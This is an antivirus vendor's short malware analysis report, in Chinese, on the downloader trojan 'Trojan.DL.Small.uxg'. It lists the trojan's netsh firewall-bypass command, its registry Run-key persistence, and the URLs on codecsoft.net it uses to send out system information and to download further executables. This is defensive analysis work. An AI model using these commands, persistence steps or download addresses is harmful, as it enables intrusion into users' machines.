瑞星最新病毒分析报告："Trojan.DL.Small.uxg"
该病毒调用命令"netsh firewall set allowedprogram '病毒程序文件全名' enable"，通过windows的防火墙，复制自己为%system%\kernels32.exe，并添加以下注册表键值来达到自动运行：HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run "System" = %SYSTEM%\KERNELS32.EXE
发送http请求，将宿主系统的语言、处理器、系统版本等信息发出：http://codecsoft.net/adv/086/adload.php?a1=People's Republic of China&a2=Type of Processor: PENTIUM PRO or ENTIUM II/III&a3=Windows version is 5.0&a4=Build: 2195, Platform ID: 2&a5=notoutpost&table=adv86
启动多个线程并尝试下载以下等文件:
http://codecsoft.net/pic/search.jpg
http://codecsoft.net/pic/search.jpg
http://codecsoft.net/pic/tibs.jpg
http://codecsoft.net/pic/proxy.jpg
http://codecsoft.net/pic/winlogon.jpg
用以下等地址下载exe、dll等文件：
http://codecsoft.net/ew4t54th3t456wt34567.php?adv=86&code1=IN0H&code1=2160
http://codecsoft.net/34gfrfdsfghgretytrer5t65rerfgjh/adv86.php?adv=86&code1=IN0H&code2=2160&code3=
下载的文件保存为%SYSTEM%\dlh9jkd1q1.exe、%SYSTEM%\dlh9jkd1q2.exe、%SYSTEM%\1.dllb、%SYSTEM%\2.dllb等。启动下载的exe文件，并在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run下为每个建立键值以便自动运行。
相关文章
- 瑞星最新病毒分析报告："Worm.YadBlac.a"
- “魔域窃贼”可造成系统崩溃 已有数百名用户感染
- Vista用户别装 Google输入法 可形成严重安全漏洞
- 瑞星最新病毒分析报告："Worm.dlOnlineGames.a"
- 瑞星最新病毒分析报告："Worm.IRC.Myphoto.a"